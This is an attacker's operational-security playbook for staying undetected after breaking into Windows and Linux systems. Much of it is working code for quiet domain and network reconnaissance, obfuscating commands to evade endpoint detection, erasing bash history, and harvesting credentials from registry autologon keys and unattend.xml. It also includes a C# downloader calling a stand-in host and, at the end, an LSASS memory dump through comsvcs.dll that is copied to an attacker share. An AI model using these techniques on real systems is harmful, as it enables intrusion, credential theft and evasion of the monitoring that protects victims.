Command Execution OPSEC Guide
Silent Operations After Initial Access
📊 Visual Command Risk Assessment
Command Execution Risk Pipeline
graph TB
A[Command Executed] --> B{Logging Layer}
B -->|Process Creation| C[Event 4688/Sysmon 1]
B -->|PowerShell| D[Script Block 4104]
B -->|Command Line| E[CLI Logging]
B -->|Audit Policy| F[Object Access/Privilege Use]
C --> G{SIEM Analysis}
D --> G
E --> G
F --> G
G -->|Pattern Match| H[Known Bad Syntax]
G -->|Behavioral| I[Unusual for User/System]
G -->|Volume| J[Rapid Enumeration]
H --> K[HIGH RISK ALERT]
I --> L[MEDIUM RISK ALERT]
J --> L
style K fill:#ff0000
style L fill:#ff9900Command Choice Decision Tree
graph LR
A[Need Information] --> B{What Info?}
B -->|User/Group Info| C{Domain or Local?}
C -->|Domain| D[LDAP Query vs net commands]
C -->|Local| E[WMI vs net commands]
B -->|Network Info| F{Active or Passive?}
F -->|Active| G[Slow nmap vs ping sweep]
F -->|Passive| H[Parse ARP/DNS cache]
B -->|File Search| I{Targeted or Broad?}
I -->|Targeted| J[Direct path access]
I -->|Broad| K[Slow recursive search]
B -->|Process Info| L[Get-Process vs tasklist]
D --> M{Alert Risk}
E --> M
G --> M
H --> M
J --> M
K --> M
L --> M
M -->|Low Risk| N[Execute with delays]
M -->|Med Risk| O[Execute during business hours]
M -->|High Risk| P[Reconsider necessity]
style P fill:#ff0000
style N fill:#00ff00Command Obfuscation Levels
graph TD
subgraph "Detection Difficulty"
A[Plaintext Command] -->|Easy to Detect| B[Base64 Encoded]
B -->|Moderate| C[Variable Concatenation]
C -->|Harder| D[Character Substitution]
D -->|Hard| E[Invoke-Expression Dynamic]
E -->|Very Hard| F[Compiled Binary]
end
subgraph "EDR Detection Rate"
A --> A1[~95% Detection]
B --> B1[~85% Detection]
C --> C1[~60% Detection]
D --> D1[~40% Detection]
E --> E1[~25% Detection]
F --> F1[~10% Detection]
end
style A1 fill:#ff0000
style B1 fill:#ff6600
style C1 fill:#ff9900
style D1 fill:#ffcc00
style E1 fill:#99ff00
style F1 fill:#00ff00Command Timing Strategy
gantt
title Command Execution Timing Strategy
dateFormat HH:mm
axisFormat %H:%M
section Recon Phase
Initial system info (safe) :08:00, 5m
Wait - blend in :08:05, 25m
User enumeration (1 cmd) :08:30, 2m
Wait :08:32, 28m
Group enumeration (1 cmd) :09:00, 2m
section Discovery Phase
Wait for business activity peak :09:02, 58m
Network discovery (slow) :10:00, 10m
Wait :10:10, 50m
Share enumeration (throttled) :11:00, 15m
section High-Risk Phase
Wait for max activity :11:15, 105m
Credential access (RISKY) :13:00, 5m
Immediate exfil/move :13:05, 10m
Go silent :13:15, 45m
🎯 Core Principles: Command Execution OPSEC
The Golden Rules
| Rule |
Why It Matters |
Violation Cost |
| 1. Every command is logged somewhere |
Event 4688, Sysmon 1, PowerShell 4104, bash history |
Assume full command audit trail exists |
| 2. Command-line arguments are the biggest tell |
More distinguishing than process name alone |
net user vs net user /domain - latter screams recon |
| 3. Slow is invisible, fast is loud |
Velocity detection triggers on rapid commands |
10 commands in 30 seconds = alert, 10 commands in 3 hours = noise |
| 4. Native tools blend in, downloaded tools scream |
LOLBins expected, Mimikatz.exe not expected |
Running certutil.exe vs pwdump.exe |
| 5. Read-only operations safer than write operations |
Enumeration < Modification < Execution |
Query registry < Write registry < Load driver |
| 6. Use the same tools sysadmins use |
Legitimate admin tools expected in environment |
dsquery expected for IT, nltest from user account suspicious |
| 7. Match the persona |
Developer running git OK, accountant running net view suspicious |
User behavior profiling is common |
| 8. Avoid known red-team command patterns |
SIEMs have signatures for common recon sequences |
whoami && ipconfig && net user is textbook red team |
| 9. Output redirection is better than screen display |
Logs show commands, not output; easier to control data |
command > output.txt vs letting output scroll |
| 10. PowerShell is both your friend and enemy |
Powerful but heavily logged and monitored |
Know when to use PS vs cmd vs WMI vs .NET |
🚨 What Gets Logged: Command Visibility Matrix
Windows Command Logging
| Command Type |
Event 4688 |
Sysmon 1 |
PS ScriptBlock 4104 |
ETW |
Parent Process |
CLI Args Logged |
cmd.exe /c <command> |
✅ Yes |
✅ Yes |
❌ No |
⚠️ Maybe |
✅ Yes |
✅ Yes (if enabled) |
powershell.exe -c <command> |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
powershell.exe -enc <base64> |
✅ Yes |
✅ Yes |
✅ Yes (decoded) |
✅ Yes |
✅ Yes |
✅ Yes + decoded |
wmic process call create |
✅ Yes (spawned process) |
✅ Yes |
❌ No |
⚠️ Maybe |
⚠️ wmic.exe |
✅ Yes |
| Direct .NET (C# compiled) |
✅ Yes |
✅ Yes |
❌ No |
⚠️ Maybe |
✅ Yes |
⚠️ Depends |
| WMI via PowerShell |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
✅ Yes |
| Scheduled task execution |
✅ Yes |
✅ Yes |
❌ No |
⚠️ Maybe |
taskeng.exe |
⚠️ Task definition logged |
| Service execution |
✅ Yes |
✅ Yes |
❌ No |
⚠️ Maybe |
services.exe |
⚠️ Service creation logged |
Linux Command Logging
| Command Type |
bash history |
auditd |
syslog |
parent process |
sudo logged |
| Interactive shell command |
✅ Yes |
⚠️ If configured |
⚠️ If configured |
✅ Yes |
⚠️ If sudo used |
sudo <command> |
✅ Yes |
✅ Often |
✅ Yes |
✅ Yes |
✅ Yes (auth.log) |
Script execution (./script.sh) |
✅ Yes |
⚠️ If configured |
⚠️ Maybe |
✅ Yes |
❌ No |
SSH command (ssh user@host 'cmd') |
❌ No (on source) |
⚠️ If configured |
✅ Connection logged |
✅ Yes |
⚠️ If sudo used |
| Cron job execution |
❌ No |
⚠️ If configured |
⚠️ Maybe |
cron |
❌ No |
❌ NOISY COMMANDS → ✅ QUIET ALTERNATIVES
| ❌ NOISY |
🚨 Why It Alerts |
✅ QUIET ALTERNATIVE |
💡 Why It's Better |
systeminfo |
Common recon command, specific output pattern |
Get-CimInstance Win32_OperatingSystem |
WMI queries expected, less distinctive |
hostname |
Often first recon command in sequence |
$env:COMPUTERNAME or [System.Net.Dns]::GetHostName() |
Environment variable access, no process spawn |
whoami /all |
Screams privilege enumeration |
[Security.Principal.WindowsIdentity]::GetCurrent() |
.NET call, less logged, same info |
set (list env vars) |
Often used in recon scripts |
Get-ChildItem env: or [Environment]::GetEnvironmentVariables() |
PowerShell cmdlet or .NET, less suspicious |
tasklist /v |
Process enumeration pattern |
Get-Process or Get-CimInstance Win32_Process |
Expected admin tool usage |
query user |
Session enumeration |
Get-CimInstance Win32_LoggedOnUser or qwinsta |
WMI query less distinctive, qwinsta legitimate |
Example - Silent System Info:
# NOISY: systeminfo
# QUIET:
$os = Get-CimInstance Win32_OperatingSystem
$cs = Get-CimInstance Win32_ComputerSystem
[PSCustomObject]@{
Hostname = $env:COMPUTERNAME
OS = $os.Caption
Version = $os.Version
Architecture = $os.OSArchitecture
InstallDate = $os.InstallDate
LastBoot = $os.LastBootUpTime
Domain = $cs.Domain
User = [Security.Principal.WindowsIdentity]::GetCurrent().Name
} | Format-List
User & Group Enumeration
| ❌ NOISY |
🚨 Why It Alerts |
✅ QUIET ALTERNATIVE |
💡 Why It's Better |
net user |
Classic recon, known command signature |
Get-LocalUser |
PowerShell cmdlet, more granular |
net user /domain |
HIGH ALERT - domain recon indicator |
Get-ADUser -Filter * -Properties * (with throttling) |
Legitimate AD admin tool, but throttle heavily |
net localgroup administrators |
Privilege group enumeration |
Get-LocalGroupMember -Group "Administrators" |
PowerShell cmdlet, specific query |
net group "domain admins" /domain |
HIGH ALERT - targeting privileged accounts |
LDAP query: ([adsisearcher]"(&(objectCategory=group)(name=Domain Admins))").FindOne() |
Direct LDAP, less distinctive pattern |
net accounts /domain |
Password policy enumeration |
Get-ADDefaultDomainPasswordPolicy |
Legitimate AD cmdlet |
whoami /groups |
Token/privilege enumeration |
[Security.Principal.WindowsIdentity]::GetCurrent().Groups |
.NET call, same info, less process creation |
Example - Silent Domain User Enum:
# NOISY: net user /domain
# QUIET (but still THROTTLE - 1 query per 2-5 minutes):
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
$searcher.PageSize = 100
$searcher.PropertiesToLoad.AddRange(@("samaccountname","displayname","description","lastlogon"))
$users = $searcher.FindAll()
# Process slowly
foreach ($user in $users) {
[PSCustomObject]@{
Username = $user.Properties["samaccountname"][0]
DisplayName = $user.Properties["displayname"][0]
Description = $user.Properties["description"][0]
LastLogon = [DateTime]::FromFileTime([Int64]$user.Properties["lastlogon"][0])
}
Start-Sleep -Seconds 120 # 2 minute delay between processing
}
Network Enumeration
| ❌ NOISY |
🚨 Why It Alerts |
✅ QUIET ALTERNATIVE |
💡 Why It's Better |
ipconfig /all |
Common first recon command |
Get-NetIPConfiguration or Get-NetIPAddress |
PowerShell cmdlet, more selective |
arp -a |
Network neighbor discovery |
Get-NetNeighbor |
PowerShell cmdlet, same info |
route print |
Routing table enumeration |
Get-NetRoute |
PowerShell cmdlet |
nslookup <domain> |
DNS queries |
Resolve-DnsName <domain> |
PowerShell cmdlet, more control |
ping <target> (sweep) |
HIGH ALERT if sweeping range |
Parse ARP cache first, or slow ping (1 per 5 min) |
Passive recon avoids network alerts |
nbtstat -A <ip> |
NetBIOS enumeration |
Get-CimInstance -ComputerName <ip> Win32_ComputerSystem (if accessible) |
WMI query, less distinctive |
net view |
SMB share enumeration |
Get-SmbShare -CimSession <computer> |
PowerShell cmdlet, targeted |
net view /domain |
Domain enumeration |
LDAP query for computer objects |
Direct LDAP less noisy |
nltest /dclist:<domain> |
DC enumeration |
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers |
.NET call, no process spawn |
nmap (any aggressive scan) |
CRITICAL ALERT - IDS/IPS detection |
Slow nmap with -T1 or -T2, --scan-delay 60s |
Slow scan avoids velocity detection, or parse existing data |
Example - Silent Network Discovery:
# NOISY: ping sweep of 192.168.1.1-254
# QUIET: Parse ARP cache first (passive)
# Get existing known hosts from ARP cache
$arp = Get-NetNeighbor | Where-Object {$_.State -ne "Unreachable"} |
Select-Object IPAddress, LinkLayerAddress, State
# Get DHCP leases if accessible (requires admin on DHCP server)
# Get-DhcpServerv4Lease -ComputerName <dhcp-server>
# Get DNS records (if you have DNS server access)
# Get-DnsServerResourceRecord -ZoneName "domain.local" -ComputerName <dns-server>
# If you MUST actively scan, do it extremely slowly:
$subnet = "192.168.1"
1..254 | ForEach-Object {
$ip = "$subnet.$_"
Start-Sleep -Seconds (Get-Random -Minimum 300 -Maximum 600) # 5-10 min between pings
Test-Connection -ComputerName $ip -Count 1 -Quiet
}
File & Share Discovery
| ❌ NOISY |
🚨 Why It Alerts |
✅ QUIET ALTERNATIVE |
💡 Why It's Better |
dir C:\ /s /b |
HIGH ALERT - recursive full drive scan |
Targeted path access: Get-ChildItem C:\Users\*\Documents\*.xlsx |
Specific file types, specific paths, less volume |
tree C:\ /f |
Full directory tree listing |
Targeted search with depth limit: Get-ChildItem -Path C:\Important -Recurse -Depth 2 |
Limited scope, less I/O |
net share |
Share enumeration |
Get-SmbShare |
PowerShell cmdlet |
net use \\host\share |
SMB connection (logged) |
New-PSDrive -Name "Z" -PSProvider FileSystem -Root "\\host\share" -Credential $cred |
PowerShell drive mapping, more control |
find "password" (recursive) |
HIGH ALERT - keyword search for credentials |
Targeted: Select-String -Path C:\Backups\*.txt -Pattern "password" -SimpleMatch |
Specific path, specific extension, less broad |
dir \\*\C$ (enumerate C$ shares) |
HIGH ALERT - lateral movement indicator |
Targeted specific host access only when necessary |
Avoid broad enumeration |
vssadmin list shadows |
Ransomware/backup access indicator |
Read-only if necessary: Get-CimInstance Win32_ShadowCopy |
WMI query, read-only |
Example - Silent File Search:
# NOISY: find all .xlsx files on C:\
# QUIET: Targeted search with throttling
$targets = @(
"C:\Users\*\Documents",
"C:\Users\*\Desktop",
"C:\Shares\Finance"
)
$extensions = @("*.xlsx", "*.docx", "*.txt")
foreach ($path in $targets) {
if (Test-Path $path) {
foreach ($ext in $extensions) {
Get-ChildItem -Path $path -Filter $ext -Recurse -Depth 2 -ErrorAction SilentlyContinue |
Where-Object {$_.Length -lt 10MB} | # Avoid huge files (DB dumps, etc.)
Select-Object FullName, Length, LastWriteTime
Start-Sleep -Seconds 60 # 1 min delay between extension searches
}
}
Start-Sleep -Seconds 300 # 5 min delay between path searches
}
| ❌ NOISY |
🚨 Why It Alerts |
✅ QUIET ALTERNATIVE |
💡 Why It's Better |
tasklist /v |
Process enumeration |
Get-Process |
PowerShell cmdlet, more selective |
tasklist /svc |
Service to process mapping |
Get-CimInstance Win32_Service |
WMI query, same info |
wmic process list full |
MEDIUM ALERT - full process dump |
`Get-CimInstance Win32_Process |
Select-Object Name, ProcessId, CommandLine` |
sc query (all services) |
Service enumeration |
Get-Service or Get-CimInstance Win32_Service |
PowerShell cmdlet |
netstat -ano |
Network connection enumeration |
Get-NetTCPConnection |
PowerShell cmdlet, more filtering |
wmic process where name="lsass.exe" get processid |
CRITICAL ALERT - targeting LSASS |
Don't query LSASS specifically unless you must; use Get-Process lsass at most |
Any LSASS query is suspicious |
Example - Silent Service Enumeration:
# NOISY: sc query > services.txt
# QUIET:
Get-CimInstance Win32_Service |
Where-Object {$_.StartMode -eq "Auto" -and $_.State -eq "Running"} |
Select-Object Name, DisplayName, PathName, StartName |
# Look for services running as SYSTEM with writable paths (priv esc)
Where-Object {$_.StartName -eq "LocalSystem"} |
Format-Table -AutoSize
PowerShell-Specific OPSEC
❌ EXTREMELY NOISY PowerShell Patterns:
| Pattern |
Why It's Detected |
Signature |
-encodedCommand |
Obfuscation indicator, decoded in logs |
Event 4104 logs decoded command |
-nop -w hidden -enc |
Classic malicious PS pattern |
SIEM signatures, behavioral detection |
Invoke-Expression (IEX) with download |
Dynamic code execution from web |
Network + PS logging correlation |
DownloadString / DownloadFile |
Web download in PowerShell |
Known malware pattern |
Start-Process -WindowStyle Hidden |
Hidden execution indicator |
Behavioral alert |
Bypass -ExecutionPolicy |
Policy bypass attempt |
Logged in 4104 |
| Known recon cmdlets in sequence |
Get-AD* commands in rapid succession |
Velocity detection, known recon pattern |
| AMSI bypass strings |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
Signature in Script Block Logging |
| Base64 decode + IEX |
[System.Text.Encoding]::UTF8.GetStringFromBase64String(...) |
Known pattern |
✅ QUIETER PowerShell Approaches:
| Technique |
How It's Quieter |
Example |
| Direct .NET calls instead of cmdlets |
No PowerShell cmdlet logging, direct CLR |
[System.IO.File]::ReadAllText("C:\file.txt") vs Get-Content |
| CIM cmdlets vs WMI cmdlets |
CIM is newer, less logged historically |
Get-CimInstance vs Get-WmiObject |
| Compile C# instead of PS script |
No script block logging, only process creation |
Add-Type -TypeDefinition $code; [MyClass]::Method() |
| Use Jobs for async execution |
Separate process, different logging context |
Start-Job -ScriptBlock {...} |
| Avoid pipeline where possible |
Less cmdlet chaining = less logging |
Direct .NET vs `Get-* |
| Use native .NET serialization for data |
Avoid ConvertTo-Json, Export-Csv |
[System.Runtime.Serialization.Json.DataContractJsonSerializer] |
| Module import via reflection |
Avoid Import-Module logging |
[Reflection.Assembly]::Load($bytes) |
Example - Avoiding PowerShell Logging:
# NOISY: Download and execute with IEX
# IEX (New-Object Net.WebClient).DownloadString('http://bad.com/script.ps1')
# QUIETER: Compile C# on target, execute in memory
$code = @"
using System;
using System.Net;
public class Downloader {
public static void Main() {
WebClient wc = new WebClient();
string result = wc.DownloadString("http://bad.com/data.txt");
// Process result here (not just Execute)
Console.WriteLine(result);
}
}
"@
Add-Type -TypeDefinition $code -Language CSharp
[Downloader]::Main()
# EVEN QUIETER: Use runspace instead of script blocks
$rs = [runspacefactory]::CreateRunspace()
$rs.Open()
$ps = [powershell]::Create()
$ps.Runspace = $rs
$ps.AddScript({
# Your code here - runs in separate runspace with different logging context
}).Invoke()
$rs.Close()
Credential Access Commands
| ❌ EXTREMELY NOISY |
🚨 Why It's Detected |
✅ QUIETER ALTERNATIVE |
💡 Notes |
mimikatz.exe |
Signature, behavior, LSASS access |
Don't use Mimikatz binary; use alternatives |
See EDR evasion doc |
procdump -ma lsass.exe |
LSASS access |
comsvcs.dll MiniDump method (still risky) |
rundll32 C:\windows\System32\comsvcs.dll, MiniDump <pid> dump.bin full |
reg save HKLM\SAM sam.save |
Registry hive export |
Copy if accessible, but still logged |
Requires SYSTEM, logged via Event 4663 |
vaultcmd /list |
Credential vault access |
Use if necessary, but rare legitimate use |
Lightweight, but suspicious context |
cmdkey /list |
Stored credential enumeration |
Acceptable - relatively common for admins |
Less noisy than vaultcmd |
Get-GPPPassword |
GPP password extraction |
Fine to use, but finding GPP passwords is loud (LDAP query pattern) |
Throttle SYSVOL searches |
Example - Credential Discovery (Quieter Methods):
# Instead of running Mimikatz, look for alternative cred sources:
# 1. Stored credentials in Windows Credential Manager (less noisy)
cmdkey /list
# 2. Registry autologon credentials (quiet, no special privileges)
$autologon = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ErrorAction SilentlyContinue
if ($autologon.DefaultUserName) {
[PSCustomObject]@{
Username = $autologon.DefaultUserName
Password = $autologon.DefaultPassword
Domain = $autologon.DefaultDomainName
}
}
# 3. Search for unattend.xml files (often contain local admin password)
$paths = @(
"C:\Windows\Panther\Unattend.xml",
"C:\Windows\Panther\Unattend\Unattend.xml",
"C:\Windows\System32\Sysprep\Unattend.xml"
)
foreach ($path in $paths) {
if (Test-Path $path) {
[xml]$unattend = Get-Content $path
$unattend.unattend.settings.component.UserAccounts.LocalAccounts.LocalAccount |
Select-Object Name, @{Name="Password";Expression={$_.Password.Value}}
}
}
# 4. Kerberos tickets (can extract without LSASS access)
# Use Rubeus.exe or similar, but even this is getting signatured
# Quieter: Extract from memory of your own process (if you have valid TGT)
🎭 Obfuscation Techniques: Command-Line Level
Basic Obfuscation (Moderate Evasion)
String Concatenation:
# Instead of: whoami
$a="who"; $b="ami"; iex "$a$b"
# Instead of: Get-Process
$cmd = "Get-" + "Process"
Invoke-Expression $cmd
Character Substitution:
# Using backticks (escape characters)
w`ho`am`i
# Using carets in cmd.exe
w^h^o^a^m^i
Variable Expansion:
# Instead of: net user /domain
$cmd = "net"
$arg1 = "user"
$arg2 = "/domain"
& $cmd $arg1 $arg2
Environment Variable Abuse:
# cmd.exe - using substrings of environment variables
%COMSPEC:~0,1%%COMSPEC:~0,1%hoami
:: Results in: cchoami (broken, but principle applies)
# Better: Use ProgramData path mangling
%ProgramData:~0,1%:\Windows\System32\whoami.exe
Advanced Obfuscation (Higher Evasion)
Invoke-Obfuscation (PowerShell):
# Token obfuscation
${e`Nv:pR`OG`RaMF`il`es}
# String obfuscation with format operator
"{1}{0}" -f 'oami','wh' # Results in: whoami
# Encoding obfuscation
[char[]](119,104,111,97,109,105) -join '' # Results in: whoami
# Base64 (but decoded in logs!)
$enc = [Convert]::ToBase64StringUnicode.GetBytes('whoami')
powershell -enc $enc
# Advanced: Invoke-Obfuscation framework
# https://github.com/danielbohannon/Invoke-Obfuscation
# Multiple layers: Token, AST, String, Encoding, Launcher
Binary Alternative:
# Instead of running PowerShell commands, compile to C# executable
# No script block logging, only process creation logged
Add-Type -TypeDefinition @"
using System;
using System.Security.Principal;
public class Info {
public static void Main() {
Console.WriteLine(WindowsIdentity.GetCurrent().Name);
}
}
"@ -OutputAssembly C:\Windows\Temp\info.exe -OutputType ConsoleApplication
C:\Windows\Temp\info.exe # Runs compiled code, no PS logging
Linux Shell Obfuscation
Basic Evasion:
# Instead of: whoami
w'ho'am'i'
w"ho"am"i"
\w\h\o\a\m\i
# Variable substitution
cmd="whoami"
$cmd
# Command substitution
$(echo whoami)
`echo whoami`
# Hex encoding
echo -e "\x77\x68\x6f\x61\x6d\x69" # Outputs: whoami
# Base64
echo d2hvYW1p | base64 -d | bash
Advanced Evasion:
# Using eval with dynamic construction
cmd=$(echo -e "\x77\x68\x6f\x61\x6d\x69")
eval $cmd
# Reverse string
rev <<< "imaohw" # Outputs: whoami (then execute)
# Array-based construction
declare -a arr=("w" "h" "o" "a" "m" "i")
$(IFS=; echo "${arr[*]}")
# Readline manipulation (avoids history)
HISTFILE=/dev/null whoami
📋 Command Execution Checklist: Before Running Any Command
PRE-EXECUTION CHECKLIST:
[ ] Is this command necessary, or can I infer the information?
[ ] Is there a quieter alternative (WMI/CIM vs net commands)?
[ ] Have I checked what logs this command will generate?
[ ] Event 4688 / Sysmon 1 (process creation)
[ ] PowerShell Script Block 4104
[ ] Command-line argument logging enabled?
[ ] Is the command-line argument going to be distinctive/suspicious?
[ ] Does it contain recon keywords (domain, administrator, password)?
[ ] Can I use direct .NET/WMI instead of spawning process?
[ ] Am I running this during business hours (Tue-Thu, 10AM-2PM)?
[ ] Have I spaced this command appropriately from last command? (2-5 min minimum)
[ ] Does this command fit the user persona I'm impersonating?
[ ] Developer running git/docker: OK
[ ] Accountant running nltest: Suspicious
[ ] If enumeration: Am I throttling? (1 query per 2-5 minutes)
[ ] If writing to disk: Is the file path suspicious? (C:\Windows\Temp\evil.exe: Yes)
[ ] Do I have a legitimate cover story for this command?
[ ] Can this command trigger behavioral alerts?
[ ] Rapid enumeration pattern
[ ] Known red-team command sequence
[ ] LSASS/credential access
[ ] Lateral movement indicators
If you answer "No" or "Unsure" to any critical item: STOP and find a quieter method.
🔇 Silent Command Patterns: By Objective
Objective: "I need to know what privileges I have"
| ❌ NOISY |
✅ QUIET |
whoami /all |
[Security.Principal.WindowsIdentity]::GetCurrent().Groups | Where-Object {$_.Translate([Security.Principal.NTAccount])} |
whoami /priv |
[Security.Principal.WindowsIdentity]::GetCurrent().Groups | Where-Object {$_.Value -like "*-544"} (check for Admins group) |
Objective: "I need to find domain controllers"
| ❌ NOISY |
✅ QUIET |
nltest /dclist:domain.com |
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select-Object Name |
net group "Domain Controllers" /domain |
([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() |
Objective: "I need to find where admins are logged in"
| ❌ NOISY |
✅ QUIET |
net session \\DC01 (enumerate all machines) |
Target specific high-value hosts only: Get-CimInstance Win32_LoggedOnUser -ComputerName DC01 |
PowerView's Invoke-UserHunter |
Manual LDAP + selective WMI queries with 5+ min delays between hosts |
Objective: "I need to find sensitive files"
| ❌ NOISY |
✅ QUIET |
dir C:\ /s /b | findstr /i password |
Targeted search: Get-ChildItem -Path C:\Users\*\Documents -Include *.xlsx,*.docx -Recurse -Depth 2 |
| Recursive search of entire drive |
Search known sensitive paths only (Documents, Desktop, specific shares) |
Objective: "I need to check AV/EDR status"
| ❌ NOISY |
✅ QUIET |
Get-MpComputerStatus (Defender-specific, obvious intent) |
Get-CimInstance -Namespace root\SecurityCenter2 -ClassName AntivirusProduct (generic query) |
wmic /namespace:\\root\securitycenter2 path antivirusproduct get * |
Use Get-CimInstance as above, less distinctive |
Objective: "I need to understand network topology"
| ❌ NOISY |
✅ QUIET |
nmap -sS 192.168.1.0/24 |
Parse existing ARP cache: Get-NetNeighbor, DNS cache: Get-DnsClientCache, DHCP leases if accessible |
ping sweep 1-254 |
Passive network traffic analysis (if you have packet capture capability) |
🐧 Linux Command OPSEC
Silent Linux Enumeration
| ❌ NOISY |
✅ QUIET |
cat /etc/passwd |
OK to use, but avoid piping to grep for users with shell; instead: awk -F: '$7 ~ /bash|sh$/ {print $1}' /etc/passwd |
sudo -l |
Fine to use, but logged in auth.log/secure; no quieter alternative |
find / -perm -4000 (SUID search) |
Throttle or target: find /usr -perm -4000 2>/dev/null (specific paths, suppress errors) |
ps aux | grep root |
ps -u root -o pid,cmd (more targeted) |
netstat -tulpn |
ss -tulpn (newer, faster, less logged historically) |
history |
Clear often: history -c; rm ~/.bash_history; ln -s /dev/null ~/.bash_history |
Avoiding Bash History
# Method 1: Prepend space (if HISTCONTROL=ignorespace)
whoami # Note the leading space
# Method 2: Disable history for session
unset HISTFILE
# Method 3: Use subshell
bash --norc --noprofile
# Your commands here (not logged to parent shell history)
exit
# Method 4: Execute commands without storing
cat <<EOF | bash
whoami
id
hostname
EOF
# Method 5: Direct to /dev/null
export HISTFILE=/dev/null
# Method 6: Clear history after operations
history -c && rm ~/.bash_history && ln -s /dev/null ~/.bash_history
Avoiding auditd Logs
# Check if auditd is running
systemctl status auditd
# Identify watched paths/syscalls
auditctl -l
# If you have root: Disable auditd (VERY NOISY - triggers alert)
# service auditd stop # DON'T DO unless you must
# Better: Work around monitored syscalls
# If execve is monitored, use direct syscall from C program (advanced)
# If file access is monitored, avoid touching those specific files
# Example: If /etc/shadow is watched, don't read directly
# Instead: Dump SAM equivalent if Windows, or find alternative cred source
⏱️ Timing & Throttling: The Most Important OPSEC
Velocity Detection Thresholds
| Activity Type |
Detection Threshold |
Safe Timing |
| Domain user enumeration |
10+ LDAP queries in <2 min |
1 query per 2-5 minutes |
| LDAP queries (general) |
50+ queries in <5 min |
1 query per 2 minutes |
| File system enumeration |
100+ files accessed in <1 min |
10-20 files per minute max |
| Network connections |
10+ new connections in <1 min |
1 connection per 2-5 minutes |
| Process enumeration |
Rapid repeated queries |
Once per hour, or on-demand only |
| SMB share access |
5+ shares in <1 min |
1 share per 5 minutes |
| Failed authentication attempts |
3+ failures in <10 min |
2 max, then STOP |
| Service/scheduled task creation |
Multiple in <5 min |
1 per hour, during business hours |
Recommended Command Pacing
# WRONG: Rapid-fire enumeration
whoami
hostname
ipconfig /all
net user /domain
net group "domain admins" /domain
net view /domain
# ^^ This triggers velocity detection within seconds
# RIGHT: Throttled enumeration with natural pauses
whoami
Start-Sleep -Seconds (Get-Random -Minimum 120 -Maximum 300) # 2-5 min
$env:COMPUTERNAME
Start-Sleep -Seconds (Get-Random -Minimum 180 -Maximum 420) # 3-7 min
Get-NetIPConfiguration
Start-Sleep -Seconds (Get-Random -Minimum 240 -Maximum 480) # 4-8 min
# Domain queries are HIGH RISK - space out even more
([adsisearcher]"(&(objectCategory=person)(objectClass=user))").FindAll() | Select -First 10
Start-Sleep -Seconds 600 # 10 minute wait before next domain query
Jitter Implementation
# Add randomness to avoid pattern detection
function Invoke-CommandWithJitter {
param(
[scriptblock]$Command,
[int]$MinDelay = 120,
[int]$MaxDelay = 300
)
& $Command
$delay = Get-Random -Minimum $MinDelay -Maximum $MaxDelay
Write-Verbose "Waiting $delay seconds..."
Start-Sleep -Seconds $delay
}
# Usage:
Invoke-CommandWithJitter -Command { whoami }
Invoke-CommandWithJitter -Command { Get-NetIPConfiguration } -MinDelay 180 -MaxDelay 420
🎯 Command Execution by Phase
Phase 1: Initial Reconnaissance (First 30 Minutes)
Goal: Understand where you are, minimize footprint
# ONLY run essential commands, with delays
# 1. Who am I? (Low risk)
[Security.Principal.WindowsIdentity]::GetCurrent().Name
# WAIT 5 minutes (simulate user reading emails, browsing)
Start-Sleep -Seconds 300
# 2. Where am I? (Low risk)
$env:COMPUTERNAME
Get-CimInstance Win32_ComputerSystem | Select Name, Domain, DomainRole
# WAIT 10 minutes
Start-Sleep -Seconds 600
# 3. What can I see locally? (Low risk)
Get-LocalUser
Get-LocalGroupMember -Group "Administrators"
# WAIT 15 minutes - DO NOT rush to domain enumeration
Start-Sleep -Seconds 900
# 4. Network info (Low risk)
Get-NetIPConfiguration | Select InterfaceAlias, IPv4Address, IPv4DefaultGateway
# STOP HERE for Phase 1 - Don't enumerate domain yet
# Let the session "age" for 1-2 hours before domain recon
Phase 2: Domain Reconnaissance (After 1-2 Hours)
Goal: Understand AD environment, identify targets
# Now that session has aged, start domain queries (SLOWLY)
# 1. Find domain controllers (Medium risk)
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | Select Name
# WAIT 10 minutes
Start-Sleep -Seconds 600
# 2. Enumerate domain users (HIGH RISK - throttle heavily)
$searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
$searcher.PageSize = 50
$users = $searcher.FindAll()
# Process only 10 users, then WAIT
$users | Select-Object -First 10 | ForEach-Object {
$_.Properties["samaccountname"][0]
}
# WAIT 30 minutes before continuing
Start-Sleep -Seconds 1800
# 3. Find privileged groups (HIGH RISK)
([adsisearcher]"(&(objectCategory=group)(name=Domain Admins))").FindOne().Properties["member"]
# WAIT 20 minutes
Start-Sleep -Seconds 1200
# 4. Identify target systems (Medium risk)
([adsisearcher]"(&(objectCategory=computer)(operatingSystem=*Server*))").FindAll() |
Select-Object -First 5 -ExpandProperty Properties |
ForEach-Object { $_["dnshostname"][0] }
# STOP for several hours - analyze data offline before next phase
Phase 3: Targeted Access (Next Day or After Long Wait)
Goal: Access specific targets, escalate privileges
# After analyzing recon data offline, target specific systems
# 1. Test access to high-value target
Test-Connection -ComputerName DC01 -Count 1 -Quiet
# WAIT 15 minutes
Start-Sleep -Seconds 900
# 2. WinRM to target (if accessible)
Enter-PSSession -ComputerName FileServer01 -Credential $cred
# Inside remote session, run MINIMAL commands
# Get-LocalUser
# Get-ChildItem C:\Shares\Finance
# Exit
# WAIT 1+ hours before next access attempt
🔒 High-Risk Command OPSEC
If You MUST Run High-Risk Commands
Some commands are inherently risky but sometimes necessary. Here's how to minimize detection:
1. Credential Dumping:
# If you MUST dump credentials:
# Option A: Use comsvcs.dll (still risky, but no Mimikatz signature)
# Requires: Admin/SYSTEM, will trigger LSASS access alert
$lsassPID = (Get-Process lsass).Id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Windows\Temp\lsass.dmp full
# Move file immediately, analyze offline
Move-Item C:\Windows\Temp\lsass.dmp \\attacker\share\lsass.dmp
Remove-Item C:\Windows\Temp\lsass.dmp -Force
